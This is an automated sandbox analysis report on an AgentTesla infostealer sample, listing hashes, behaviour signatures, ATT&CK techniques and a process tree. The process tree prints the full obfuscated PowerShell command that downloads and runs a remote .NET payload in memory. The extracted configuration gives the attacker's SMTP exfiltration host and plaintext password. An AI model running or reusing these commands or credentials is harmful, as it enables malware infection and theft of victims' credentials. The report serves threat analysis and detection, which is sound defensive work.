agenttesla | fa43e204762689b5d9a4f72bd2a6772f8d8436e02ddd0c6da9a0a26d475412da

Analysis

max time kernel
17s
max time network
9s
platform
windows10-2004_x64
resource
win10v2004-20230703-en
resource tags

arch:x64arch:x86image:win10v2004-20230703-enlocale:en-usos:windows10-2004-x64system
submitted
06/07/2023, 12:50

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General

Target
yhkld.vbs
Size 375KB
Sample230706-p2xbfsba99
SHA256 fa43e204762689b5d9a4f72bd2a6772f8d8436e02ddd0c6da9a0a26d475412da
MD5 32d87b2f68ef1dd11316fbb33f1f8597
SHA1 c23f436e333d31ef93f94949cf6d71d5d2d14458
SHA512 c84ff372a6350a37141be905db7c75d5efe6e229b83c13101997bfb73804863828904f0517731dfdc9ee4e233bd83cc25c3b05819d9ba178711c9f6edc2be0f8
SSDEEP 3072:EQaiUCrZUKCs7xlu4vrSCqtI4xvgGrk+KH:EQaiUc
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

agenttesla collection keylogger spyware stealer trojan

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://cryptersandtools.minhacasa.tv/e/e

Extracted

Family

agenttesla

Credentials

Protocol
smtp
Host
mail.havil.co
Port
587
Username
[email protected]
Password
ND{!x#V2NT%K
Email to
[email protected]

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla

Blocklisted process makes network request 2 IoCs

flow	pid	Process
2	5056	powershell.exe
3	5056	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1420546310-613437930-2990200354-1000\Control Panel\International\Geo\Nation	WScript.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1420546310-613437930-2990200354-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe
Key opened	\REGISTRY\USER\S-1-5-21-1420546310-613437930-2990200354-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe
Key opened	\REGISTRY\USER\S-1-5-21-1420546310-613437930-2990200354-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 5056 set thread context of 5036	5056	powershell.exe	84

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
4760	powershell.exe
4760	powershell.exe
5056	powershell.exe
5056	powershell.exe
5036	RegAsm.exe
5036	RegAsm.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	4760	powershell.exe
Token: SeDebugPrivilege	5056	powershell.exe
Token: SeDebugPrivilege	5036	RegAsm.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 3604 wrote to memory of 4760	3604	WScript.exe	81
PID 3604 wrote to memory of 4760	3604	WScript.exe	81
PID 4760 wrote to memory of 5056	4760	powershell.exe	83
PID 4760 wrote to memory of 5056	4760	powershell.exe	83
PID 5056 wrote to memory of 5036	5056	powershell.exe	84
PID 5056 wrote to memory of 5036	5056	powershell.exe	84
PID 5056 wrote to memory of 5036	5056	powershell.exe	84
PID 5056 wrote to memory of 5036	5056	powershell.exe	84
PID 5056 wrote to memory of 5036	5056	powershell.exe	84
PID 5056 wrote to memory of 5036	5056	powershell.exe	84
PID 5056 wrote to memory of 5036	5056	powershell.exe	84
PID 5056 wrote to memory of 5036	5056	powershell.exe	84

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1420546310-613437930-2990200354-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1420546310-613437930-2990200354-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\yhkld.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3604
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'WwBC⁂Hk⁂d⁂Bl⁂Fs⁂XQBd⁂C⁂⁂J⁂BE⁂Ew⁂T⁂⁂g⁂D0⁂I⁂Bb⁂FM⁂eQBz⁂HQ⁂ZQBt⁂C4⁂QwBv⁂G4⁂dgBl⁂HI⁂d⁂Bd⁂Do⁂OgBG⁂HI⁂bwBt⁂EI⁂YQBz⁂GU⁂Ng⁂0⁂FM⁂d⁂By⁂Gk⁂bgBn⁂Cg⁂K⁂BO⁂GU⁂dw⁂t⁂E8⁂YgBq⁂GU⁂YwB0⁂C⁂⁂TgBl⁂HQ⁂LgBX⁂GU⁂YgBD⁂Gw⁂aQBl⁂G4⁂d⁂⁂p⁂C4⁂R⁂Bv⁂Hc⁂bgBs⁂G8⁂YQBk⁂FM⁂d⁂By⁂Gk⁂bgBn⁂Cg⁂JwBo⁂HQ⁂d⁂Bw⁂Do⁂Lw⁂v⁂GM⁂cgB5⁂H⁂⁂d⁂Bl⁂HI⁂cwBh⁂G4⁂Z⁂B0⁂G8⁂bwBs⁂HM⁂LgBt⁂Gk⁂bgBo⁂GE⁂YwBh⁂HM⁂YQ⁂u⁂HQ⁂dg⁂v⁂GU⁂LwBl⁂Cc⁂KQ⁂p⁂Ds⁂WwBT⁂Hk⁂cwB0⁂GU⁂bQ⁂u⁂EE⁂c⁂Bw⁂EQ⁂bwBt⁂GE⁂aQBu⁂F0⁂Og⁂6⁂EM⁂dQBy⁂HI⁂ZQBu⁂HQ⁂R⁂Bv⁂G0⁂YQBp⁂G4⁂LgBM⁂G8⁂YQBk⁂Cg⁂J⁂BE⁂Ew⁂T⁂⁂p⁂C4⁂RwBl⁂HQ⁂V⁂B5⁂H⁂⁂ZQ⁂o⁂Cc⁂RgBp⁂GI⁂ZQBy⁂C4⁂S⁂Bv⁂G0⁂ZQ⁂n⁂Ck⁂LgBH⁂GU⁂d⁂BN⁂GU⁂d⁂Bo⁂G8⁂Z⁂⁂o⁂Cc⁂VgBB⁂Ek⁂Jw⁂p⁂C4⁂SQBu⁂HY⁂bwBr⁂GU⁂K⁂⁂k⁂G4⁂dQBs⁂Gw⁂L⁂⁂g⁂Fs⁂bwBi⁂Go⁂ZQBj⁂HQ⁂WwBd⁂F0⁂I⁂⁂o⁂Cc⁂d⁂B4⁂HQ⁂LgBz⁂GU⁂bgB5⁂G0⁂Lw⁂1⁂DU⁂Lg⁂5⁂DQ⁂Lg⁂w⁂DE⁂MQ⁂u⁂Dk⁂Nw⁂v⁂C8⁂OgBw⁂HQ⁂d⁂Bo⁂Cc⁂KQ⁂p⁂⁂==';$OWjuxd = [system.Text.encoding]::Unicode.GetString( [system.Convert]::Frombase64String( $codigo.replace('⁂','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypss -NoProfile -command $OWjuxD
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4760
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypss -NoProfile -command "[Byte[]] $DLL = [System.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('http://cryptersandtools.minhacasa.tv/e/e'));[System.AppDomain]::CurrentDomain.Load($DLL).GetType('Fiber.Home').GetMethod('VAI').Invoke($null, [object[]] ('txt.senym/55.94.011.97//:ptth'))"
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:5056
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      Accesses Microsoft Outlook profiles
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      outlook_office_path
      outlook_win_path
      PID:5036

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Email Collection

T1114

Command and Control

Exfiltration

Impact

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Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 ac518124d3bd39440bfba66739f8fab57ff82ea778f707ea2c902b29efde0ee0
MD5 7ff9440dc25523a288d278b38add13a1
SHA1 d67faf5afe85cacd9d816349f17ded3686ecf1a7
SHA512 7116fcf6760a69efebfbffeba5abcfef903cc8647e142117023e022bb34c5fe6d1a35c727faab1e6d6505b2bd69689cf52f8ecef5253ca12d99d425021799911
MD5 SHA1 SHA512

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__PSScriptPolicyTest_pjj4ajs1.knz.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_pjj4ajs1.knz.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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memory/4760-154-0x000002D769D00000-0x000002D769D10000-memory.dmp

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memory/4760-134-0x000002D769D00000-0x000002D769D10000-memory.dmp

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memory/4760-133-0x000002D769D00000-0x000002D769D10000-memory.dmp

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memory/4760-144-0x000002D769CB0000-0x000002D769CD2000-memory.dmp

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memory/5036-164-0x00000000063C0000-0x0000000006410000-memory.dmp

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memory/5036-157-0x0000000000400000-0x0000000000430000-memory.dmp

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memory/5036-161-0x0000000005B10000-0x00000000060B4000-memory.dmp

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memory/5036-162-0x00000000054E0000-0x0000000005546000-memory.dmp

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memory/5036-163-0x00000000056A0000-0x00000000056B0000-memory.dmp

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memory/5036-165-0x00000000064B0000-0x0000000006542000-memory.dmp

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memory/5036-166-0x0000000006450000-0x000000000645A000-memory.dmp

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memory/5036-167-0x00000000056A0000-0x00000000056B0000-memory.dmp

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memory/5056-156-0x000002BF23D10000-0x000002BF23D20000-memory.dmp

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memory/5056-155-0x000002BF23D10000-0x000002BF23D20000-memory.dmp

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